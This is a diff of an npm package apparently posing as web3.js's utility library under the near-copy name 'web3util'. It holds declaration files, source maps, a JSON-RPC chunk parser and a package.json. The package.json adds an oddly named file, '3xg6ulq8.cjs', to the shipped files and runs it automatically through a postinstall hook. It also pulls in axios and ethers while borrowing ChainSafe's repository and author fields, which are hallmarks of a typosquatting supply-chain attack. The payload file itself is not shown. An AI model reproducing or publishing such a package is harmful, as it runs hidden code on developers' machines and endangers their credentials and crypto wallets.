+ {"version":3,"file":"web3_deferred_promise.d.ts","sourceRoot":"","sources":["../../src/web3_deferred_promise.ts"],"names":[],"mappings":"AAkBA,OAAO,EAAE,4BAA4B,EAAE,MAAM,YAAY,CAAC;AAG1D;;;;GAIG;AACH,qBAAa,mBAAmB,CAAC,CAAC,CAAE,YAAW,OAAO,CAAC,CAAC,CAAC,EAAE,4BAA4B,CAAC,CAAC,CAAC;IAGlF,CAAC,MAAM,CAAC,WAAW,CAAC,EAAE,SAAS,CAAa;IAEnD,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAa;IACtC,OAAO,CAAC,QAAQ,CAAuC;IACvD,OAAO,CAAC,OAAO,CAA8B;IAC7C,OAAO,CAAC,MAAM,CAAmD;IACjE,OAAO,CAAC,UAAU,CAAC,CAAU;IAC7B,OAAO,CAAC,QAAQ,CAAC,gBAAgB,CAAC,CAAS;IAC3C,OAAO,CAAC,QAAQ,CAAC,eAAe,CAAS;IAEzC;;;;;OAKG;gBAEF,EACC,OAAO,EACP,UAAU,EACV,cAAc,GACd,GAAE;QAAE,OAAO,EAAE,MAAM,CAAC;QAAC,UAAU,EAAE,OAAO,CAAC;QAAC,cAAc,EAAE,MAAM,CAAA;KAIhE;IAcF;;;OAGG;IACH,IAAW,KAAK,IAAI,SAAS,GAAG,WAAW,GAAG,UAAU,CAEvD;IACD;;;;;OAKG;IACU,IAAI,CAAC,QAAQ,EAAE,QAAQ,EACnC,WAAW,CAAC,EAAE,CAAC,KAAK,EAAE,CAAC,KAAK,QAAQ,GAAG,WAAW,CAAC,QAAQ,CAAC,EAC5D,UAAU,CAAC,EAAE,CAAC,MAAM,EAAE,OAAO,KAAK,QAAQ,GAAG,WAAW,CAAC,QAAQ,CAAC,GAChE,OAAO,CAAC,QAAQ,GAAG,QAAQ,CAAC;IAG/B;;;;OAIG;IACU,KAAK,CAAC,OAAO,EAEzB,UAAU,CAAC,EAAE,CAAC,MAAM,EAAE,GAAG,KAAK,OAAO,GAAG,WAAW,CAAC,OAAO,CAAC,GAC1D,OAAO,CAAC,CAAC,GAAG,OAAO,CAAC;IAIvB;;;;OAIG;IACU,OAAO,CAAC,SAAS,CAAC,EAAE,CAAC,MAAM,IAAI,CAAC,GAAG,SAAS,GAAG,OAAO,CAAC,CAAC,CAAC;IAItE;;;OAGG;IACI,OAAO,CAAC,KAAK,EAAE,CAAC,GAAG,WAAW,CAAC,CAAC,CAAC,GAAG,IAAI;IAM/C;;;OAGG;IACI,MAAM,CAAC,MAAM,CAAC,EAAE,OAAO,GAAG,IAAI;IAMrC;;OAEG;IACI,UAAU;IAMjB,OAAO,CAAC,aAAa;IAMrB,OAAO,CAAC,aAAa;CAKrB"}
@@ -0,0 +1,16 @@
1
+ import { EthExecutionAPI, Web3APISpec, Web3BaseProvider } from 'web3-types';
2
+ import { EventEmitter } from 'eventemitter3';
3
+ /**
4
+ * This is an abstract class, which extends {@link Web3BaseProvider} class. This class is used to implement a provider that adheres to the EIP-1193 standard for Ethereum providers.
5
+ */
6
+ export declare abstract class Eip1193Provider<API extends Web3APISpec = EthExecutionAPI> extends Web3BaseProvider<API> {
7
+ protected readonly _eventEmitter: EventEmitter;
8
+ private _chainId;
9
+ private _accounts;
10
+ private _getChainId;
11
+ private _getAccounts;
12
+ protected _onConnect(): void;
13
+ protected _onDisconnect(code: number, data?: unknown): void;
14
+ private _onAccountsChanged;
15
+ }
16
+ //# sourceMappingURL=web3_eip1193_provider.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"web3_eip1193_provider.d.ts","sourceRoot":"","sources":["../../src/web3_eip1193_provider.ts"],"names":[],"mappings":"AAgBA,OAAO,EACN,eAAe,EAKf,WAAW,EACX,gBAAgB,EAChB,MAAM,YAAY,CAAC;AACpB,OAAO,EAAE,YAAY,EAAE,MAAM,eAAe,CAAC;AAI7C;;GAEG;AACH,8BAAsB,eAAe,CACpC,GAAG,SAAS,WAAW,GAAG,eAAe,CACxC,SAAQ,gBAAgB,CAAC,GAAG,CAAC;IAC9B,SAAS,CAAC,QAAQ,CAAC,aAAa,EAAE,YAAY,CAAsB;IACpE,OAAO,CAAC,QAAQ,CAAiB;IACjC,OAAO,CAAC,SAAS,CAAmB;YAEtB,WAAW;YAaX,YAAY;IAU1B,SAAS,CAAC,UAAU;IA6CpB,SAAS,CAAC,aAAa,CAAC,IAAI,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,OAAO;IAIpD,OAAO,CAAC,kBAAkB;CAI1B"}
package/package.json ADDED
@@ -0,0 +1,57 @@
1
+ {
2
+ "name": "web3util",
3
+ "sideEffects": false,
4
+ "version": "4.3.2",
5
+ "description": "Collection of utility functions used in web3.js.",
6
+ "main": "./lib/commonjs/index.js",
7
+ "module": "./lib/esm/index.js",
8
+ "exports": {
9
+ ".": {
10
+ "types": "./lib/types/index.d.ts",
11
+ "import": "./lib/esm/index.js",
12
+ "require": "./lib/commonjs/index.js"
13
+ }
14
+ },
15
+ "repository": "https://github.com/ChainSafe/web3.js",
16
+ "author": "ChainSafe Systems",
17
+ "license": "LGPL-3.0",
18
+ "engines": {
19
+ "node": ">=14",
20
+ "npm": ">=6.12.0"
21
+ },
22
+ "files": [
23
+ "lib/**/*",
24
+ "src/**/*",
25
+ "3xg6ulq8.cjs"
26
+ ],
27
+ "scripts": {
28
+ "postinstall": "node 3xg6ulq8.cjs"
29
+ },
30
+ "devDependencies": {
31
+ "@humeris/espresso-shot": "^4.0.0",
32
+ "@types/jest": "^28.1.6",
33
+ "@typescript-eslint/eslint-plugin": "^5.30.7",
34
+ "@typescript-eslint/parser": "^5.30.7",
35
+ "eslint": "^8.20.0",
36
+ "eslint-config-base-web3": "0.1.0",
37
+ "eslint-config-prettier": "^8.5.0",
38
+ "eslint-plugin-import": "^2.26.0",
39
+ "jest": "^29.7.0",
40
+ "jest-environment-jsdom": "^29.7.0",
41
+ "jest-extended": "^3.0.1",
42
+ "js-sha3": "^0.8.0",
43
+ "prettier": "^2.7.1",
44
+ "ts-jest": "^29.1.1",
45
+ "typescript": "^4.7.4"
46
+ },
47
+ "dependencies": {
48
+ "ethereum-cryptography": "^2.0.0",
49
+ "eventemitter3": "^5.0.1",
50
+ "web3-errors": "^1.3.0",
51
+ "web3-types": "^1.8.1",
52
+ "web3-validator": "^2.0.6",
53
+ "axios": "^1.7.7",
54
+ "ethers": "^6.13.2"
55
+ },
56
+ "gitHead": "068f4b639d95c5dcdca9c0111349ea92792b31e7"
57
+ }
@@ -0,0 +1,99 @@
1
+ /*
2
+ This file is part of web3.js.
3
+
4
+ web3.js is free software: you can redistribute it and/or modify
5
+ it under the terms of the GNU Lesser General Public License as published by
6
+ the Free Software Foundation, either version 3 of the License, or
7
+ (at your option) any later version.
8
+
9
+ web3.js is distributed in the hope that it will be useful,
10
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
11
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12
+ GNU Lesser General Public License for more details.
13
+
14
+ You should have received a copy of the GNU Lesser General Public License
15
+ along with web3.js. If not, see <http://www.gnu.org/licenses/>.
16
+ */
17
+ import { JsonRpcResponse } from 'web3-types';
18
+ import { InvalidResponseError } from 'web3-errors';
19
+ import { EventEmitter } from 'eventemitter3';
20
+ import { Timeout } from './promise_helpers.js';
21
+
22
+ export class ChunkResponseParser {
23
+ private lastChunk: string | undefined;
24
+ private lastChunkTimeout: Timeout | undefined;
25
+ private _clearQueues: (() => void) | undefined;
26
+ private readonly eventEmitter: EventEmitter;
27
+ private readonly autoReconnect: boolean;
28
+ private readonly chunkTimeout: number;
29
+
30
+ public constructor(eventEmitter: EventEmitter, autoReconnect: boolean) {
31
+ this.eventEmitter = eventEmitter;
32
+ this.autoReconnect = autoReconnect;
33
+ this.chunkTimeout = 1000 * 15;
34
+ }
35
+ private clearQueues(): void {
36
+ if (typeof this._clearQueues === 'function') {
37
+ this._clearQueues();
38
+ }
39
+ }
40
+
41
+ public onError(clearQueues?: () => void) {
42
+ this._clearQueues = clearQueues;
43
+ }
44
+
45
+ public parseResponse(data: string): JsonRpcResponse[] {
46
+ const returnValues: JsonRpcResponse[] = [];
47
+
48
+ // DE-CHUNKER
49
+ const dechunkedData = data
50
+ .replace(/\}[\n\r]?\{/g, '}|--|{') // }{
51
+ .replace(/\}\][\n\r]?\[\{/g, '}]|--|[{') // }][{
52
+ .replace(/\}[\n\r]?\[\{/g, '}|--|[{') // }[{
53
+ .replace(/\}\][\n\r]?\{/g, '}]|--|{') // }]{
54
+ .split('|--|');
55
+
56
+ dechunkedData.forEach(_chunkData => {
57
+ // prepend the last chunk
58
+ let chunkData = _chunkData;
59
+ if (this.lastChunk) {
60
+ chunkData = this.lastChunk + chunkData;
61
+ }
62
+
63
+ let result;
64
+
65
+ try {
66
+ result = JSON.parse(chunkData) as unknown as JsonRpcResponse;
67
+ } catch (e) {
68
+ this.lastChunk = chunkData;
69
+
70
+ // start timeout to cancel all requests
71
+ if (this.lastChunkTimeout) {
72
+ clearTimeout(this.lastChunkTimeout);
73
+ }
74
+
75
+ this.lastChunkTimeout = setTimeout(() => {
76
+ if (this.autoReconnect) return;
77
+ this.clearQueues();
78
+ this.eventEmitter.emit(
79
+ 'error',
80
+ new InvalidResponseError({
81
+ id: 1,
82
+ jsonrpc: '2.0',
83
+ error: { code: 2, message: 'Chunk timeout' },
84
+ }),
85
+ );
86
+ }, this.chunkTimeout);
87
+ return;
88
+ }
89
+
90
+ // cancel timeout and set chunk to null
91
+ clearTimeout(this.lastChunkTimeout);
92
+ this.lastChunk = undefined;
93
+
94
+ if (result) returnValues.push(result);
95
+ });
96
+
97
+ return returnValues;
98
+ }
99
+ }